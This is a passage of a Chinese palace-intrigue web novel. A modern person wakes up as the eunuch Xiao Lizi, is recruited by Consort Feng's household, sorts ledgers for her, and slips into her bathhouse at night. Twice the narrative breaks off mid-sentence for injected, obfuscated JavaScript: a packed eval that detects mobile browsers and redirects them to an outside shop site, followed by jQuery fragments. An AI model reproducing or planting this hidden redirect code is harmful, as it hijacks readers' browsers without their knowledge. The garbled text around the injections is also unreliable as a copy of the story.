那花……在小离子零碎的记忆里,似乎叫做“百日紫”,并非多名贵,但据说香气有宁神之效。 徐昭容竟为了一盆花发这么大脾气? 这时,殿内又走出一个年纪稍长,气质沉稳些的嬷嬷,对着那粉衣宫女低声吩咐了几句。粉衣宫女脸色微变,点了点头。 关禧和小柯不敢再多留,几乎是屏着呼吸,退出了玉芙宫的范围。 直到走出老远,小柯才拍着胸口,长长舒了口气:“我的娘诶,吓死我了!幸好没撞上徐昭容出来!你是没看见,刚才那阵势……啧啧,那盆百日紫可是陛下前儿才赏的,据说徐昭容喜欢得紧,这就给养死了,也难怪动怒。” 关禧默默听着,心中对玉芙宫的危险等级又调高了一级。这位徐昭容,不仅骄纵,而且情绪极不稳定,在她手下当差,无异于刀尖舔血。 “走吧走吧,快去承华宫,那边准保顺当。”小柯调整了一下情绪,重新挂上笑容,引着关禧转向另一条宫道。 承华宫的位置更僻静些,宫墙外的花木不如玉芙宫繁盛,却修剪得更为雅致整齐。宫门处的太监查验腰牌时,态度也温和许多。 通报之后,出来接待的是一位穿着淡青色宫装,面容冷艳的宫女。关禧认出,这正是那日在广储司,帮忙捡拾银钱的宫女。 那宫女看到关禧,眼中也掠过一丝微讶,随即露出浅淡而得体的笑容:“有劳两位公公跑一趟。娘娘正在小憩,东西交给我就好。” 小柯忙将提篮递上,语气轻松了不少:“姐姐客气了,这是王公公的一点心意,请昭仪娘娘赏玩。” 青衣宫女接过,仔细看了看里面的荷包香囊,目光在那几个藕荷,月白色的上多停留了片刻,点头微笑道:“样式很别致,颜色也清雅,娘娘想必会喜欢。二位公公稍等。” 她转身进去,不多时又出来,手里拿着两个小巧的银锞子,分别递给关禧和小柯:“娘娘赏的,给二位公公吃茶。” 小柯喜出望外,连连道谢。关禧也依礼谢恩,接过那枚带着体温小巧可爱的银锞子。入手微沉,比王公公拿走的那两块碎银成色好了不知多少。 “谢娘娘赏,谢姐姐。”关禧声音不高,但足够清晰。 那青衣宫女看了关禧一眼,眼神温和,轻轻颔首,并未多言。 离开承华宫,小柯捏着那枚银锞子,喜滋滋地揣进怀里,对关禧道:“瞧见没?我就说冯昭仪性子好吧!出手还大方!这趟总算没白跑!” 关禧摩挲着掌心那枚银锞子,冰凉的触感慢慢被体温焐热。承华宫的氛围,与玉芙宫截然不同,冯昭仪的温和与体恤下人是真的,还是另一种更深沉的处世之道?那青衣宫女……似乎对他有点印象? 这些念头在他脑中一闪而过。眼下,更重要的是即将到来的出宫机会。 * 两天时间转瞬即逝。 出发前往承运库的这天清晨,关禧醒得格外早。天际刚泛起鱼肚白,他已洗漱完毕,换上了一套干净的靛青色太监服,将牛管事交给他的单据,令牌小心收好,又检查了一遍随身物品,那枚冯昭仪赏的银锞子被他用布包好,贴身藏着,还有之前剩下的一些铜钱。 同屋的小柯和小路还在沉睡。他轻手轻脚地出了门,深吸一口凌晨清冽的空气,感觉胸腔里那颗心,正不受控制地加速跳动。 来到派办处院子,王公公指派的一个姓钱的老太监和两个负责搬运护卫的低等侍卫已等在那里。钱公公看起来五十多岁,面容黝黑,话不多,只扫了关禧一眼,确认人齐了,便哑着嗓子道:“走吧,早点动身,赶在日头毒起来前回来。” 一行人穿过一道道宫门。每过一道门,都需要验看腰牌和文书。关禧低着头,跟在钱公公身后,感受着侍卫审视的目光,心脏一次次提起又落下。 终于,走到了最后一道宫门前。厚重的朱红宫门缓缓打开一道缝隙,仅容数人通过。 当关禧迈过那高高的门槛,双脚真正踏上门外坚硬的土地时,他感到一阵轻微的眩晕。 外面,是不同的天地。 尽管这里仍是皇城范围,所谓的承运库就在宫墙之外不远,视野被高大的城墙和官署建筑所局限,但空气的味道变了。不再是宫廷里那混合着香料,脂粉,陈旧木头和压抑气息的味道,而是带着尘土,车马,以及远处隐约传来的市井喧嚣的气息。 天空,似乎也更高,更辽阔。清晨的阳光毫无遮挡地洒下来,照亮了眼前宽阔的广场和笔直的石板御道。远处,有车马辚辚而过,有穿着各色官服的小吏匆匆行走,甚至能看到几只麻雀在道旁蹦跳啄食。 自由。 这个词就像闪电般劈开关禧的脑海。虽然只是短暂地踏出了那堵墙,可这种空间上的突破,带来的心理冲击是巨大的。他贪婪地呼吸着这墙外的空气,感觉每一个毛孔都在叫嚣着渴望。 “发什么呆?跟上!”钱公公回头,不满地低斥了一声。 关禧猛地回神,快步跟上。他不能表现得太异常。 承运库是一座庞大的建筑群,灰墙黑瓦,显得肃穆。交接核对的流程繁琐。关禧负责捧着单据,与库吏一一核对绸缎的品类,数量,尺寸,检查有无霉变虫蛀;香料则要查验包装,嗅辨气味是否纯正。 他强迫自己集中精神,专注于眼前的工作,不敢有丝毫差错。但他的感官却不由自主地捕捉着周围的一切——库吏带着口音的官话,搬运夫沉重的脚步声和喘息声,马车轮子碾过石板的咕噜声,甚至远处街市传来的叫卖声。 每一个声音,每一种气味,都在他心中激荡起涟漪。 原来,墙外的世界是这样的。 核对工作持续了近两个时辰。当所有货物清点完毕,单据双方画押确认,钱公公与库吏寒暄几句后,便示意可以返回了。 回程的路上,关禧的心情与来时已大不相同。 他看到了,哪怕只是惊鸿一瞥。这高墙之外,有着广阔的天空和鲜活的人生。而他,却被困在那四方天地里,顶着一個屈辱的身份,挣扎求生,甚至还要时刻担忧成为他人玩物。 重新迈入那道朱红宫门时,关禧握紧了袖中的手,指甲掐进掌心。 他回头,最后看了一眼门外,然后将那抹亮色深深烙进心底,转身,低着头,跟着钱公公,重新没入那深宫的重重阴影之中。 路还很长。但他已经看到了方向。 * 夜色深沉,宫里的更鼓敲过了三遍,各处宫灯次第熄灭,整 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小柯见他沉默,只当他是默认了,自顾自地继续嘀咕,语气里带着点说不清是羡慕还是别的什么:“我就知道……王公公当初挑中你们这些长得好的,都是这样……像我们这种,”他顿了顿,声音里透出点自嘲和认命,“都是一刀切得干干净净,利索,也绝了念想。” 他翻了个身,仰面躺着,望着黑漆漆的屋顶,像是感慨:“不过啊,像你们这样的,通常也留不住。基本都被调理着,等着送到陛下跟前儿去了……” 关禧的心一沉,尽管早有心理准备,但听到这近乎直白的命运宣判,胸口还是像被什么东西狠狠攥住了。 小柯没察觉他的异样,或者说他根本不在乎,依旧沉浸在自己的诉说里:“唉,说是伺候陛下,是天大的福气……可咱们在底下,谁不知道啊?被选去侍寝的那些……能全须全尾回来的有几个?不是死了,就是疯了……反正,能长久留在陛下身边的,少之又少。”他侧过头,阴影里,他的眼神带着一丝怜悯,“离子哥,说真的,我都有些可怜你了。长得好看,在这宫里,有时候真不是啥好事……也不知道王公公到底怎么打算的,什么时候就把你给……递上去了。” 关禧静静地听着,脸上没什么表情。初来乍到时那种天崩地裂的崩溃和恶心感,经过这几个月的挣扎,恐惧,隐忍,已经被磨钝了。他来自信息爆炸的现代,什么猎奇的小说电视剧没看过?接受能力和心理承受能力,早就在不知不觉中被锻炼了出来。 刚穿越过来,发现自己成了太监,还是个濒死的太监时,他确实觉得是天塌地陷,无法接受。但死过一回,又在鬼门关前挣扎着爬回来,见识了这深宫最底层的冰冷和恶意之后,活下去,成了压倒一切的本能。 不能接受的,也必须要接受。除非他想现在就找根绳子吊死,或者投井。但那不是他关禧会做的事。 他翻了个身,背对着小柯,声音听不出什么情绪:“睡觉吧,明天还得当值。” 小柯讨了个没趣,咂咂嘴,也翻过身去,嘟囔了一句:“也是,操心那么多有啥用……睡觉睡觉。” 直房里重新恢复了寂静,只有窗外偶尔传来的极远处的更梆声,以及身边两人平稳的呼吸声。 关禧闭着眼,大脑却在高速运转。 小柯的话,不过是再次确认了他已知的残酷事实。王公公将他调来派办处,绝不仅仅是看中他整理文书的能力。他这张脸,他这半割的身份,就像一件被精心保管的货物,随时可能被当成贡品献上。 等待他的,似乎是两条路:要么在侍寝后像那些消失或疯掉的小太监一样,成为这深宫又一个无声无息的牺牲品;要么……就在被献上去之前,找到第三条路。 出宫的希望渺茫得像天上的星星。但今天,他不是已经摸到宫墙的门槛了吗?哪怕只是短暂的一瞬。 依附王公公,看似暂时安全,实则如同饮鸩止渴。 必须更快,更主动。 他需要更多的信息,需要更准确地把握王公公的意图和动向,需要找到其他能够影响他命运的人或事。青黛那温和的眼神,承华宫那不同于玉芙宫的清静氛围……是否可以作为一步闲棋,稍加留意? 还有这派办处,接触宫外物资和信息的机会,必须牢牢抓住。下一次,下下次,总有机会看到更多,接触到更多…… 思绪纷杂,像一团乱麻,核心却异常清晰——活下去,不惜一切代价活下去。 然后,挣脱这个牢笼。 10. 第 10 章 次日午后,关禧刚将一批核对好的香料单据归档,正准备去帮着清点新到的瓷器,就见小柯一脸慌张,脚步匆匆地从外面跑了进来,额头上还带着细密的汗珠。 “离子哥!离子哥!不好了!”小柯一把拉住关禧的袖子,气都喘不匀。 “怎么了?慢慢说。” “是、是承华宫!那位青衣姐姐,叫、叫青黛的,带着人过来了!说、说咱们前天送去的荷包有问题!”小柯急得舌头都快打结了,“指明要见那天送东西的两个人!王公公让我赶紧来找你过去!” 荷包有问题? 关禧眉头微蹙。那天送去的荷包,他和青黛都仔细看过,绝无质量问题。冯昭仪若是嫌弃,大可以搁置不用,或者让宫女私下退回派办处,何必如此兴师动众,派人亲自来问罪? 这不像冯昭仪平日行事的风格。除非……醉翁之意不在酒。 “走吧,别让公公和承华宫的姐姐久等。”关禧整理了一下衣袍,神色恢复如常。 两人快步来到派办处的正堂。 王公公正陪着一个穿着淡青色宫装的女子说话,态度颇为客气,正是那日见过的宫女青黛。她身后还跟着两个小宫女,垂手侍立。 青黛今日打扮得素雅,发髻梳得一丝不苟,只簪着一支简单的银簪,面容冷艳,眸光清冽,通身透着一种疏离的清气,竟不似寻常宫女。见关禧与小柯进来,她的视线便淡淡落向关禧。 “公公,就是他们二人。” 王公公脸上堆着笑,眼神却锐利地扫过关禧和小柯:“你们两个,前日送去承华宫的荷包,是怎么回事?怎么会出纰漏?惊动了昭仪娘娘,你们担待得起吗?!” 小柯吓得噗通一声跪倒在地,连连磕头:“公公明鉴!青黛姐姐明鉴!那荷包小的们送去时都是好的,青黛姐姐也亲自验看过……” 关禧也跟着跪下,没有像小柯那样惊慌失措,他抬起头,目光坦然,声音平稳:“回公公。前日送往承华宫的荷包,是王公公亲自挑选,小的二人只是负责送达。交接之时,青黛姐姐亦曾逐一检视,并无提出异议。不知究竟是何处出了问题,还请青黛姐姐明示,小的等也好向王公公交代,日后更加谨醒。” 他这番话,不卑不亢,既点明了责任不在他们跑腿的,又将问题抛回给青黛,同时姿态放得极低,让人挑不出错处。 王公公眯了眯眼,没说话,看向青黛。 青黛面色不变,淡淡道:“并非荷包本身有瑕疵。只是娘娘说,其中一个藕荷色绣兰草的荷包,里面的香料气味,与她平日所用不甚相同,闻之略有不适。娘娘心细,担心是否调配有误,或是途中被人动了手脚,故而命我前来问问。” 这个理由……听起来合情合理,又显得有些小题大做。冯昭仪协理六宫,若连一个荷包香料细微不同都要亲自过问,那未免太过劳心。 关禧心中更加确定,这只是个由头。 青黛说完,目光再次落在关禧脸上,语气缓和了些许:“既然你们二人确认途中无误,那或许是我多虑了,或是香料放置久了有些变化。罢了,此事就此作罢。” 王公公连忙打圆场:“哎呀,原是虚惊一场。娘娘身体要紧,谨慎些是应当的。青黛姑娘辛苦了。”他话锋一转,似是随意地问道,“只是……劳动姑娘亲自跑一趟,可是娘娘还有别的吩咐?” 青黛微微一笑,那笑容清浅,“吩咐不敢当。只是娘娘近日在翻阅一些旧年宫苑修缮的记录,有些数目对不上,听闻派办处这边文书归档做得细致,尤其是这位叫小离子的公公,记性颇佳,字也工整。不知王公公可否行个方便,借他半日,去承华宫帮奴婢核对整理一下?免得奴婢来回跑动,耽误了娘娘的事。” 来了,真正的目的在此。 王公公眼中精光一闪,脸上笑容不变,心里却是瞬间转了几个弯。冯昭仪协理宫务,借调个小太监帮忙核对文书,合情合理,他无法拒绝。而且,这似乎也印证了关禧在文书处理上的能力确实入了贵人的眼,对他而言,并非坏事,甚至可能多一条连通承华宫的路子。 “哎哟,这有何难?能被娘娘和青黛姑娘看中,是他的造化。”王公公笑得见牙不见眼,对关禧道,“小离子,还不快谢过青黛姑娘提携?去了承华宫,仔细当差,一切听青黛姑娘吩咐,不可有半分怠慢!” 关禧压下心头的波澜,深深叩首:“小的遵命,谢王公公,谢青黛姐姐。小的定当尽心竭力。” 他站起身,垂首走到青黛身后。青黛不再多言,对王公公微微欠身,便带着关禧和两个小宫女,转身离开了派办处。 走在通往承华宫的宫道上,阳光明媚,花香袭人。关禧却无暇欣赏,他的全部心神都集中在走在前方半步的那道青色身影上。 青黛步履从容,裙裾微动,姿态优雅。关禧默默观察着她的背影,心中猜测着冯昭仪召见的真正意图。是福是祸,即将揭晓。 承华宫依旧是一派宁静祥和。穿过庭院,来到一处偏殿。殿内陈设清雅,多宝阁上摆放着书籍和瓷器,空气中弥漫着清幽的檀香,与玉芙宫那浓艳甜腻的香气截然不同。 “你们在外面候着。”青黛对两个小宫女吩咐道,然后对关禧示意,“随我进来。” 关禧跟着青黛走进内室。内室的光线比外间稍暗,窗前设着一张紫檀木书案,案上堆积着一些卷宗册页。一道窈窕的身影正背对着他们,站在书架前,似乎在寻找什么书籍。 那人穿着一身水蓝色的常服,料子柔软,勾勒出纤细合度的腰身。乌黑的长发简单地挽起,插着一支通透的白玉簪,除此之外,并无多余饰物。 听到脚步声,她缓缓转过身来。 关禧下意识地屏住了呼吸。 月华门前那次冲突,他伏跪于地,视线所及不过是对方绣着缠枝莲纹的裙摆和鞋尖,以及那温和却带着不容置疑力量的声音。他只知道冯昭仪与徐昭容不同,更讲道理,但具体容貌如何,在当时那种惊惶紧张的氛围下,根本无暇也不敢抬头细看。 此刻,才是他第一次,真真切切地,看清这位协理六宫的昭仪娘娘。 乍一看,冯媛的容貌不是徐宛白那种扑面而来,灼灼逼人的明艳。她的美是内敛的,沉静的,如同上好的江南水墨,初看淡雅,细品则韵味悠长。 肌肤是细腻的暖白色,不像宫中一些女子追求极致的苍白,透着健康的光泽,宛如羊脂玉般温润。眉毛生得极好,不需描画,便是天然的远山黛色,舒朗而柔和。一双眸子最为出彩,是清澈的秋水瞳,眼波流转间,沉静如水,仿佛能倒映出人心,又深不见底,让人看不透真切情绪。鼻梁秀挺,唇瓣饱满,唇色是天然的,极淡的樱粉,唇角微微自然上翘,即使不笑也带着三分温和之意。 她看起来年纪不过双十,眉宇间却有一种超越年龄的从容,那不是刻意营造的威严,而是历经世事,洞察人心后沉淀下来的安然。她就那样静静地站在那里,周身仿佛笼罩着一层柔和的光晕,与这满室的书香,清幽的檀香融为一体,构成一幅动人的画卷。 这就是冯昭仪,冯媛。 关禧心中震撼。他原本以为,能在后宫中占据一席之地,并与骄纵的徐宛白分庭抗礼的妃嫔,必是凌厉精明之辈。却没想到,竟是这般清丽婉约,气度清华的人物。 他迅速收敛心神,在对方目光投来的瞬间,已然恭敬地垂下头,屈膝行礼:“奴才小离子,叩见昭仪娘娘。” “起来吧。”冯媛的声音和她的人一样,清润温和,如初春融化的雪水,潺潺流过心田,“不必多礼。青黛,看座。” 青黛搬来一个绣墩,放在书案下首。 关禧哪里敢坐,连忙道:“奴才不敢,在娘娘面前,没有奴才的座位。” 冯媛微微一笑,走到书案后坐下,抬手示意:“让你坐便坐吧。本宫这里,没那么多虚礼。今日找你来,是想问问你,关于前日那些荷包的事。” 她果然提起了荷包。关禧心知这只是开场白,依言在绣墩上欠身坐下,腰背挺得笔直,恭谨地回答:“是。奴才那日与青黛姐姐一同验看,并未发现异常。不知是哪个荷包让娘娘不适?奴才回去定当禀明王公公,仔细查问。” 冯媛轻轻摇头,指尖拂过案上一本摊开的册页,语气随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892381|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意:“些许小事,不必惊动王公公了。本宫只是觉得,你年纪不大,眼光倒是不错。那日青黛回来,还夸你心思细腻,对颜色、纹样颇有见解。” 果然是因为这个,关禧谦卑道:“娘娘谬赞,青黛姐姐过奖了。奴才只是……只是平日整理单据时,多留意了些各宫支领物件的记录,胡乱揣测,当不得真。” “哦?胡乱揣测便能说得八九不离十?”冯媛抬眼看着他,眸中带着一丝不易察觉的探究,“那你且说说,依你看来,本宫平日里,偏好何种颜色、何种香型?” 这是一个看似随意,实则暗藏机锋的问题。答得好,或许能得青眼;答得不好,便是卖弄聪明,惹人厌烦。 关禧沉吟片刻,目光快速扫过殿内的陈设,冯媛的衣着,以及空气中那清幽的檀香,结合之前看过的承华宫用度记录,谨慎开口:“奴才愚见。娘娘性情娴雅,不喜奢靡。观殿内陈设,多以青、白、淡紫、藕荷等清雅色系为主;娘娘今日衣着亦是水蓝,素净大方;殿中所燃之香,乃是清心宁神的檀香,而非浓艳花果香。故而奴才大胆猜测,娘娘平日偏好素雅洁净之色,所用香型亦以清幽淡远为上。” 他顿了顿,补充道:“那日王公公挑选荷包,奴才见那几个颜色鲜亮、绣样繁复的,便觉与娘娘气质不甚相合,反倒是藕荷、月白等色,更显清雅,故而在青黛姐姐查看时,多留意了几分。” 冯媛静静地听着,脸上看不出喜怒。直到关禧说完,她才缓缓端起手边的青瓷茶盏,用杯盖轻轻拨了拨浮沫,动作优雅至极,“观察入微,心思缜密。在派办处做个整理文书的小太监,倒是屈才了。” 关禧心头一跳,垂下眼睫:“奴才不敢当。能在派办处当差,已是王公公和娘娘恩典。” 冯媛看着他低眉顺眼的样子,目光在他那张过于精致的脸上停留了片刻。这张脸,确实生得极好,甚至好得有些过分,带着一种模糊了性别的昳丽。但更让她感兴趣的,是这昳丽皮囊下隐藏的敏锐和冷静。一个刚从鬼门关爬回来,身处绝境的小太监,能有这般见识和定力,绝非寻常。 “本宫协理六宫,琐事繁多,身边正缺个像你这样细心、又能识文断字的人帮衬。”冯媛终于说出了今日召见的真正目的,“小离子,你可愿意,来承华宫当差?” 机会。 来承华宫,这意味着关禧可以暂时摆脱王公公的直接控制,远离那个随时可能被献上去的漩涡,冯昭仪性情温和,地位尊崇,在她手下当差,安全性无疑大大提高,而且,靠近权力中心,他能接触到的信息,可能找到的机会,远比在派办处要多。 巨大的诱惑摆在面前。 但他没有立刻答应。越是这种时候,越要冷静。王公公那边会轻易放人吗?冯昭仪此举,是真的看中他的能力,还是另有深意?这承华宫,看似平静,难道就真是净土吗? “娘娘厚爱,奴才感激不尽!能到娘娘身边伺候,是奴才几辈子修来的福分!只是……奴才身份卑贱,又是王公公调教出来的人,若无王公公首肯,奴才……奴才万死不敢自作主张。” 他将决定权巧妙地推了回去,既表达了对冯媛的向往和感激,也显示了对王公公的忠诚和身处底层的无奈。 冯媛闻言,唇角微微勾起一个清浅的弧度,对他的回答并不意外。 “王公公那里,本宫自会去说。你只需告诉本宫,你愿,还是不愿?” 关禧知道,这是他必须做出的选择。赌一把,留在派办处是慢性死亡,抓住眼前的机会,才有可能搏出一线生机。 他不再犹豫,起身,郑重地跪拜下去: “奴才小离子,愿为娘娘效犬马之劳!赴汤蹈火,在所不辞!” 冯媛看着伏在地上的清瘦身影,眼中闪过一丝满意的神色。 “起来吧。”她温声道,“青黛,带他下去安置。从今日起,他就在承华宫当值了。” “是,娘娘。”青黛应道,对关禧示意,“随我来吧。” 关禧站起身,最后看了一眼书案后那位气度清华,深不可测的昭仪娘娘,然后垂下眼,恭敬地跟着青黛退出了内室。 11. 第 11 章 青黛引着关禧穿过几道回廊,来到承华宫后殿一侧的厢房。这里比派办处的直房又清净雅致了许多,虽是下人居住之所,却也窗明几净,空气中飘散着与主殿一脉相承的檀香。 “这里便是你日后起居之处。”青黛推开一扇门,里面是一间不大的屋子,只设了一张床铺,一个衣柜和一张小桌,虽是简单,但床铺帐幔,桌椅板凳一应俱全,且都是干净的。 最关键的是,这是一间单人房。 在等级森严的后宫,即便是得宠娘娘身边的大宫女或管事太监,也少有能独居一室的待遇,更遑论关禧这样一个刚来,毫无根基的小太监。这与其说是优待,不如说是一种不动声色的笼络,也是一种隔离,避免他与承华宫其他底层太监宫女过多接触,便于掌控。 “多谢青黛姐姐安排。”关禧面上不露声色,恭敬道谢。 青黛点点头,“娘娘既点了你来,便是信重。你日后便在承华宫当差,具体的职司,娘娘已有安排。你初来乍到,先跟在我身边,熟悉宫务,主要负责协助整理、誊录娘娘协理六宫涉及的一些文书卷宗。娘娘看重你细心、记性好,这份差事需得格外谨慎,一丝错漏都可能酿成大祸,明白吗?” 整理,誊录协理六宫的文书?这职权听起来模糊,实则能接触到的信息远超派办处那些采买单据,关禧心中凛然,知道这既是机遇,也是考验。冯昭仪将他放在这个位置,绝非仅仅因为他细心。 “小的明白,定当谨守本分,尽心竭力,绝不负娘娘和青黛姐姐信重。” “嗯。”青黛对他的态度还算满意,“你的月例,按承华宫二等内侍的标准发放,每月四两银子。稍后我会让人将衣物、用品送来。今日你先安顿下来,熟悉一下环境,明日卯时初刻,到前殿西侧的书斋候着。” 四两银子,这比他在派办处时多了足足一倍,而且是在王公公抽走大部分之后实打实能拿到手的。关禧再次感受到了冯昭仪手段的厉害,恩威并施,让人难以抗拒。 “是。” 青黛交代完毕,便转身离开。 关禧独自站在小小的房间里,环顾四周。这里没有净舍的污浊阴冷,没有文书房直房的拥挤逼仄,也没有派办处排房的嘈杂。安静,整洁,甚至带着一丝若有若无的馨香。 但他心中却没有半分松懈。从踏进承华宫的那一刻起,他就从王公公棋盘上一枚待价而沽的棋子,变成了冯昭仪手中一把需要打磨,用途未知的刀。处境看似提升,实则更加凶险。冯昭仪与徐昭容不同,她温和表象下的心思,恐怕比徐宛白的骄纵跋扈更难揣测。 王公公那边,得知消息后又会作何反应?会甘心放走他精心培养的货物吗? 翌日,卯时初刻,天光微亮。 关禧换上了承华宫二等内侍崭新的靛青色袍子,准时来到了前殿西侧的书斋。这里比冯昭仪日常起居的内室更加肃穆,四壁皆是书架,堆满了各类卷宗册页,空气中墨香与檀香交织。 青黛已经在书案前忙碌,见他来了,指了指旁边一张稍小的书案:“以后你就在那里处理文书。今日先将这些,”她推过一摞厚厚的册子,“嘉佑十八年至永昌五年,各宫苑修缮、器物添置的记录核对一遍,将明显不合规制或超出常例的用度标记出来,附上简要说明。” 关禧依言坐下,翻开最上面一本册子。里面记录的是各宫每月支领的瓷器,漆器,摆设等物件的明细,时间正是去年。他不敢怠慢,凝神静气,开始逐条审阅。 这项工作极其枯燥繁琐,需要极强的耐心和对宫廷用度规则的了解。关禧凭借着在典籍司和派办处积累的知识,以及超越时代的逻辑思维和细心,飞快地浏览,比对,记忆。 他发现,这些记录看似平常,实则暗藏玄机。哪些宫殿在特定时间点突然增加了奢华用度,哪些物品的支领明显超出了该位份妃嫔的规制,哪些开销的记录模糊不清……这些细节,都可能指向某些不为人知的动向或隐秘。 冯昭仪让他做这个,是在考验他的能力,还是想通过他的手,发现什么? 关禧不敢深想,更加专注地投入工作。他的字迹工整清晰,标记和说明也力求简洁准确。 不知不觉,一个上午过去。 青黛偶尔会过来查看他的进度,见他效率极高,且标记出的问题都切中要害,眼中闪过一丝赞许,但并未多言。 午膳是由小宫女直接送到书斋的。两菜一汤,一碗白米饭,虽不算珍馐,但荤素搭配,味道清爽,远比派办处的伙□□细。 关禧匆匆吃完,继续埋首卷宗。 下午,他正在核对一批绸缎支领记录时,目光忽然在其中一条上定格。 【永昌五年四月,玉芙宫,支苏杭织造局进上云锦十匹,霞影纱五匹。备注:徐昭容裁衣。】 永昌五年四月……那不就是两个月前?关禧清楚地记得,就在不久前,徐昭容和冯昭仪在月华门争执的焦点,就是一批云锦,徐宛白声称是陛下赏赐,冯昭仪则指出于礼不合。 而这条记录显示,内务府确实在两个月前拨付了十匹云锦给玉芙宫,手续齐全,记录在案。 那么,当时冯昭仪所说的于礼不合是指什么?是徐昭容领取的方式不合规矩?还是这批云锦本身另有蹊跷? 关禧的心跳微微加快。他感觉自己似乎触碰到了后宫争斗冰山的一角。他不动声色地将这条记录单独抄录下来,并在旁边做了个不起眼的标记。 日落时分,关禧将整理好的册子和自己标注的疑点清单交给青黛。 青黛快速浏览了一遍,目光在那条关于玉芙宫云锦的记录上停顿了一瞬,随即恢复如常。她收起册子,对关禧道:“做得不错。今日就到这里,回去歇着吧。明日继续。” “是,青黛姐姐。”关禧躬身退下。 * 夜深了。 夏日的暑气在入夜后蒸腾起一股黏腻的闷热,包裹着承华宫精致的殿宇。关禧躺在单独厢房的床铺上,身上那套崭新的靛青色太监服已经被汗水微微浸湿,黏在皮肤上,带来一种难以言喻的烦躁。 他翻来覆去,难以入眠。 不仅仅是闷热。 对于一个习惯了现代每天淋浴,保持身体清爽的十七岁少女来说,穿越至今,他经历了停尸房的污秽,净舍的肮脏,文书房的简陋,以及派办处的忙碌,洗澡成了一种遥不可及的奢侈。平日里,最多就是用冷水擦拭一下身体,勉强维持最基本的清洁。 可现在是夏天。 汗水,尘土,还有这深宫中无处不在的压抑气息,仿佛都透过毛孔渗入了他的身体,凝结成一层看不见的污垢,让他浑身发痒,从心理到生理都感到极度不适。 “不行了……再这样下去我要疯了……”关禧在黑暗中坐起身,抓了抓有些发痒的胳膊,低声哀嚎,属于现代灵魂的洁癖在此刻达到了顶峰。 他必须洗澡,立刻,马上。 可去哪里洗? 承华宫有供低等太监宫女使用的公共盥洗处,但那里只有几个冷水桶,而且这个时辰,早就下钥熄灯,不可能为了他一个人再去折腾。 他的目光不由自主地飘向了承华宫主殿的方向。作为一宫主位,又是协理六宫的昭仪,冯媛的寝殿配有独立设施完善的浴堂。这是小离子记忆中关于高位妃嫔生活常识的一部分。 冯媛专用的浴堂……里面应该有浴池吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892382|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?热水可能没有了,但夏天,冷水也行啊,只要能泡进去,痛痛快快洗去这一身的黏腻和疲惫…… 这么晚了,娘娘肯定早已安寝。浴堂那边,应该不会有专人看守了吧?毕竟只是洗澡的地方,又不是什么机要重地。自己偷偷溜进去,速战速决,洗完就回来,神不知鬼不觉…… 这个念头一旦出现,就像野草般疯狂蔓延,压过了对宫规的恐惧和对冯昭仪的敬畏。强烈的不适感和现代生活习惯的驱使,让他决定铤而走险。 他屏住呼吸,仔细听了听外面的动静。万籁俱寂,只有远处隐约传来规律性的更梆声,提醒着这是深宫深夜。 他轻手轻脚地起身,换上一套深色的旧内衣,外面罩上那件靛青色太监袍,这样万一被人看见,也能解释是起夜或者巡查。他拿起一块干净的白布,准备当做澡巾,悄无声息地溜出了自己的小屋。 承华宫的布局,他这几日跟着青黛走动,已经大致记在脑中。冯媛的寝殿位于主殿后方,而浴堂通常设在寝殿的侧后方,有独立的通道,以方便热水供应和排水。 他避开可能有守夜太监或宫女巡逻的主路,专挑树木阴影和廊柱的遮蔽处移动。心跳如擂鼓,在寂静的夜里显得格外清晰。每一步都走得小心翼翼,耳朵竖起来,捕捉着任何一丝不寻常的声响。 幸运的是,一路有惊无险。他顺利地摸到了寝殿侧后方的那排附属建筑前。借着朦胧的月光,他辨认出其中一扇门扉的样式与其他不同,更显精致,门楣上似乎还雕刻着莲花的纹样,这应该就是浴堂了。 他凑近门缝,仔细听了听,里面没有任何声音。又轻轻推了推门,门是从里面闩上的。这难不倒他,他在派办处见过各种锁具和门闩。他从怀里摸出一根平时用来固定头发磨得比较细的铜簪——这是他穿越后为数不多的现代智慧应用,以备不时之需。 将铜簪尖端小心翼翼地探入门缝,凭着感觉轻轻拨动里面的门闩。 一阵细微的“咔哒”声后,门闩滑开了。 关禧心中一喜,再次确认四周无人,然后像一尾游鱼般,迅速闪身挤了进去,反手将门轻轻掩上,没有闩死,为自己留好退路。 浴堂内一片漆黑,只有些许月光透过高处的透气窗棂洒进来,勾勒出室内大致的轮廓。 他摸索着向前,脚下是光滑微凉的石板。眼睛逐渐适应了黑暗,他看到房间中央,果然有一个用汉白玉砌成的约莫丈许见方浴池。池壁雕刻着精美的缠枝莲纹,池水在微光下泛着粼粼的幽光,水面平静无波。 是冷水,但这已经足够让关禧欣喜若狂了。 他迫不及待地走到池边,蹲下身,伸手探入水中。水温微凉,恰到好处地驱散了夏夜的闷热。他甚至能感觉到水流拂过指尖的柔滑触感。 再也忍不住了。 他迅速脱下身上的太监袍和内衣,将那具属于小离子瘦削却已开始显露出男子轮廓的身体,完全暴露在清凉的空气中。随即,他小心翼翼地,尽量不发出太大声音,滑入了浴池之中。 当微凉的池水漫过肩膀,包裹住全身时,关禧舒服得几乎要喊出声,连日的黏腻,疲惫,紧张,都在这一刻被水流带走。 靠在光滑的池壁上,他用手掬起水,泼在脸上,搓洗着脖颈,手臂……恨不得将每一个毛孔都清洗干净。水流声在寂静的浴堂里显得格外清晰,但他已经顾不上了。 “吱呀”一声轻响。 